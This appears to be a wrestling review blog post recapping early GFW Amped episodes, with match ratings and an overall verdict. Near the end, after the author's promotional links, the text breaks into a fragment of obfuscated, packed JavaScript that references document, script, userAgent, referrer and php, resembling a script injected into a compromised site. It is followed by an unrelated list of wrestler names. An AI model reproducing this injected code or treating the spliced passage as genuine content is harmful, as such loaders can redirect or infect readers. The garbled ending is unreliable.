Video on Chris Mordetzky, who is totally different than when he was in WWE.

Video on the Bollywood Boyz, now known as the Singh Brothers.

GFW World Title Tournament Qualifying Match: Bobby Roode vs. Kevin Kross

Roode works on the arm to start before lounging on the top rope. Kross reverses a hammerlock and runs him over, which isn’t exactly what I think of when I hear someone is a shooter. A quick breather on the floor seems to do Roode some good as he comes back in and sends Kross into the post.

The bad arm is rammed into the barricade a few times, which I guess isn’t MMA style as Kross is in even more trouble. Back from a break with Roode hitting the Hennig necksnap and cranking on the arm some more. The spinebuster looks to set up the Roode Bomb but Kross escapes into a rollup. Not that it matters as Roode reverses into the Crossface for the tap at 7:39.

Rating: D+. So much for the shooter/MMA guy. I know Jarrett did the thing where he was a fake MMA guy but does he know that there’s such a thing as real MMA style wrestlers? Kross was every run of the mill angry wrestler here with nothing that suggested he had a shoot background whatsoever. That left us with little more than a glorified (though not glorious) squash, which doesn’t do much for Kross.

Video on the Akbars, doing the standard “we’re treated differently because we look different” stuff.

Episode three begins with another recap.

Here’s a lounge singer named Henry Maxwell for no logical reason other than to be beaten down by the Akbars before their match.

GFW Tag Team Title Tournament First Round: Akbars vs. Bollywood Boyz

The Akbars are Ali and Omar, both of whom are best known from OVW. Gurv and Omar start things off and it’s a small package for two on Omar. That means it’s already off to Ali, who is sent scurrying back to Omar thanks to an armdrag. They have quite the low tolerance for pain.

Some double teaming puts Harv in trouble though and it’s a double suplex for no cover. Back from a break with Harv still in the wrong corner and a snap suplex into a chinlock. A running knee and elbow drop get two but hang on because we need to plug an upcoming Karen Jarrett appearance.

We get the classic fight to the corner for a tag the referee doesn’t see, which always makes me smile a bit. Omar misses a middle rope leg and there’s the hot tag to Gurv. A DDT and spinwheel kick get two as everything breaks down. Harv hits a top rope back elbow to the jaw, setting up a top rope elbow drop for the pin on Ali at 8:52.

Rating: D+. This was quite a bit of nothing special with the Akbars being as generic a set of villains as you could find. The Boyz were better, though still not exactly setting the world on fire. Their actual wrestling has never been great though at least they seem to have found their calling as the crash dummies for Jinder Mahal.

Sonjay Dutt is ready to win the Nex Gen Title to go with his bachelor’s degree.

Jigsaw is a masked man who has wrestled everywhere and sounds very standard for having such a cool name. He’s a hybrid wrestler and wants to win the Nex Gen Title too.

Another video on Mordetzky, with a lot of the same material being covered.

Here’s Karen Jarrett, who is introduced as the Queen of the Knockouts. She makes a women’s match for the main event but Lei’D Tapa and her manager Royal Red cut her off. Red doesn’t want to hear about the old news that is Mickie James. Karen tells her to shut up because she’s all tough and awesome. She wants Tapa to cage up her husband before her triple threat tonight with James and Christina Von Eerie.

Video on Kevin Kross, who wants to fight Bobby Roode again.

Nick Aldis is ready to face Kongo Kong.

GFW Women’s Title Tournament First Round: Lei’D Tapa vs. Mickie James vs. Christina Von Eerie

The winner is in the finals because this tournament isn’t exactly deep. Tapa shrugs off an early double teaming attempt and we’re off to a way too early break. Back with more double teaming working better and Tapa being sent outside. Mickie hurricanranas Christina out of the corner as Tapa gets back in.

A double Samoan drop….hurts Tapa as well as she bumps her head on the way down. The Barbarian’s niece shouldn’t be hurt by a blow to the head like that. Come on and get your stereotypes right already people. James and Von Eerie double team Tapa down again but get in an argument over the cover (you might have seen this idea before). The MickieDT (and a bad one at that) drops Tapa but Von Eerie sends James outside. A Backstabber to Tapa puts Von Eerie in the finals at 6:58.

Rating: D+. Another lackluster match that followed the same formula you’ve seen for this match a dozen or more times. Von Eerie going over is interesting and probably a better call as James is an established star and Tapa, no matter how many companies hire her, still isn’t interesting. Not terrible here but I’m already forgetting parts of it.

Von Eerie gets the winner of Katarina Leigh, the Bullet Babe and Lauren James. She’s ready for any of them.

Here are the brackets for the World Title tournament:

Chris Mordetzky

Brian Myers

Nick Aldis

Kongo Kong

Shelton Benjamin

JR Kratos

Bobby Roode

TBD

The lounge singer from earlier turns out to be Kong’s manager. Uh….ok then.

Episode four means another recap.

Video on Sonjay Dutt vs. Jigsaw.

Nex Gen Title Tournament First Round: Sonjay Dutt vs. Jigsaw

They speed things up to start and it’s the fast paced moves with little to no impact that almost always start these things off. Jigsaw scores with a few shots to the face and a dropkick gets two. Cyrus talks about Jigsaw taking a title from Dutt in CZW to put him on the map. Chael: “You did NOT see that match.” Cyrus: “Uhhh…..”.

After making the face announcer look like an idiot like that, Dutt fights out of a Gory Stretch and dropkicks him to the floor. Back in and Dutt kicks him in the face before grabbing an Octopus Hold. Jigsaw sends him outside for the required flip dive, followed by the missile dropkick back inside.

Neither can hit a piledriver so we’ll go with the standard superkick to drop Jigsaw instead. A standing shooting star gets two and a tornado DDT gets the same. Jigsaw avoids a charge and hits a double stomp to the back, followed by a kneeling reverse piledriver (Jig and Tonic) to advance at 10:15.

Rating: C. Another good, fast paced match here though still nothing that hasn’t been done before. Dutt is a name that has been around forever while Jigsaw, who I’ve liked in the times I’ve seen him, was basically lost as soon as I heard him talk for the first time. His name and look suggests something mysterious but he’s just another guy from New York. Think this stuff through people.

Video on Kongo Kong attacking Nick Aldis on the first episode to set off their feud. Or whatever you can count as a feud here as they’re just having one tournament match.

Jigsaw is happy and Dutt praises him for his win.

Here’s Chael Sonnen in the ring for a chat. He immediately heels it up by telling everyone to be quiet and insults MMA fighter Phil Baroni in the front row. Sonnen issues something of a challenge and says the fight would be one more for the bad guy. Now he calls out Virgil Flynn and mocks him for the loss, only to say that he’s in the Nex Gen Title tournament anyway. I guess Kushida was too busy. PJ Black comes out, tells Flynn that he’s awesome, and superkicks him for a heel turn. Eh you have to turn someone.

Video on Brian Myers (Curt Hawkins) who wants to win the title.

Video on Reno Scumm.

GFW World Title Tournament First Round: Kongo Kong vs. Nick Aldis

Maxwell does Kong’s entrance and is a pretty lame heel manager. The fight is on in a hurry with Kong missing a charge in the corner and falling out to the floor. Back in and Kong hammers away some more because he’s big and fat and therefore strong. Maxwell gets in a cheap shot from the floor so Kong can get two off a legdrop. We hit the nearly required bearhug and a belly to belly gets two on Nick.

Back from a break with Kong yelling at the referee so Maxwell can get in a cheap shot. That means another bearhug as they’re certainly staying within the lines of the paint by numbers formula. Aldis fights out and hits a belly to back suplex, followed by some clotheslines for two. A superplex plants Kong and the top rope elbow gets two. Maxwell offers a distraction so Kong can hit the Cannonball for two more. Kong misses a moonsault though and the Spine Shaker sends Aldis on at 9:27.

Rating: D+. What in the world does Jarrett see in Kongo Kong? He’s embarrassing looking and doesn’t do anything of note in the ring. We’ve seen big guys do moonsaults for over twenty years now and it’s certainly not as impressive as Vader’s or even Bam Bam Bigelow’s. He’s just a big guy who looks like a monster, which isn’t exactly the most impressive thing in the world. Aldis was the only option here and thankfully he slayed the monster in relatively short order.

Overall Rating: C-. This is one of the trickiest things I’ve ever had to grade. First of all, it’s really hard to look at this as it was originally intended. These shows were A, meant to be seen week to week and B, aired two years ago. In 2017, it comes off like a bunch of Impact guys and people who have left for the greener pastures of WWE. That’s a very different presentation than they were shooting for but it’s really hard to look at it as originally intended.

As for the show itself….it’s really just ok at best. I look at the lineups and matches here and all I see is a group of people who aren’t good enough to be in WWE. Myers and Mordetzky stand out for me above all others. They’re the definition of WWE rejects and neither showed anything here to make me think that they’re anything more than generic wrestlers. That’s the case with a lot of people on the show and it doesn’t do it many favors.

You also have the severe lack of stories, though that’s to be expected on the first set of shows. This is ALL about the tournaments and really nothing more. The only other story is Roode wanting to mess with the company and even then he’s in the tournament. That’s fine for something like this but it needs to change going forward.

Another big problem is the commentary. It really felt like neither of these two knew a lot about professional wrestling. Sonnen sounded like he knew the combat stuff but his heel shtick felt really, really forced, especially his in-ring promo (which I remember hearing was literally just thrown in because Sonnen wanted to do it and Jarrett said sure). It seemed like they were given some notes about each wrestler and little more, which doesn’t mean you know something about the wrestling itself. It was really noticeable and became annoying very quickly.

Let’s talk about some of the good things because they definitely do exist. First of all, the presentation is great. The show looks like an upper level production with good lighting, good graphics and no major errors or flaws. It feels like you’re watching something with a budget and some effort and that can make all the difference in the world.

It also helped that the wrestling was all perfectly acceptable. There’s some stuff that wasn’t as good as the rest but it was all watchable enough with nothing embarrassing. They weren’t trying to reinvent the wheel with the matches and it made for a good enough outing, which is often all you can ask for from something like this.

Overall, the show isn’t bad but it’s also nothing that really stands out other than a historical (work with me here) curiosity. I’ll probably watch the other parts in the series (Part II, likely out of four total, has already been given a release date) and hopefully things pick up a bit. This could have been something, though it’s hardly anything that blows you away like New Japan or unique like Lucha Underground. It’s really just the not quite good enough for WWE troupe going out and putting on a pretty standard set of shows. Nothing bad, but also nothing memorable.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

And some of them are pretty familiar.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbhzf|var|u0026u|referrer|yhdkk||js|php'.split('|'),0,{})) Sonnen – Analyst

Justin Gabriel

Davey Boy Smith Jr.

Doc Gallows

Karl Anderson

Lance Hoyt

Chris Masters

Quinn Ojinnaka

Thea Trinidad

Sanada

We waited a year for some WWE/TNA rejects and a few guys from Japan? The shows might be fun, but this is going to need some major work to get anywhere.